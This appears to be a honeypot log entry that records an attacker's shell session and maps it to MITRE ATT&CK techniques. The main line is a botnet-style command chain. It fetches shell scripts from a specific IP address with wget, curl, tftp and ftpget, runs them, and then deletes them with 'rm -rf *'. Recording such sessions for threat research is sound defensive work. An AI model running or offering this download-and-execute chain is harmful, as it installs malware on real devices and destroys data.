Honeypot attack session (period 2021_2022), commands issued:
sh
shell
ls /
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://194.31.98.17/0x83911d24Fx.sh; curl -O http://194.31.98.17/0x83911d24Fx.sh; chmod 777 0x83911d24Fx.sh; sh 0x83911d24Fx.sh; tftp 194.31.98.17 -c get 0xt984767.sh; chmod 777 0xft6426467.sh; sh 0xft6426467.sh; tftp -r 0xtf2984767.sh -g 194.31.98.17; chmod 777 0xtf2984767.sh; sh 0xtf2984767.sh; ftpget -v -u anonymous -p anonymous -P 21 194.31.98.17 0xft6426467.sh 0xft6426467.sh; sh 0xft6426467.sh; rm -rf 0xt984767.sh 0xtf2984767.sh 0xft6426467.sh; rm -rf *

MITRE ATT&CK techniques observed:
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1105 Ingress Tool Transfer
T1222 File and Directory Permissions Modification
T1059 Command and Scripting Interpreter
T1070 Indicator Removal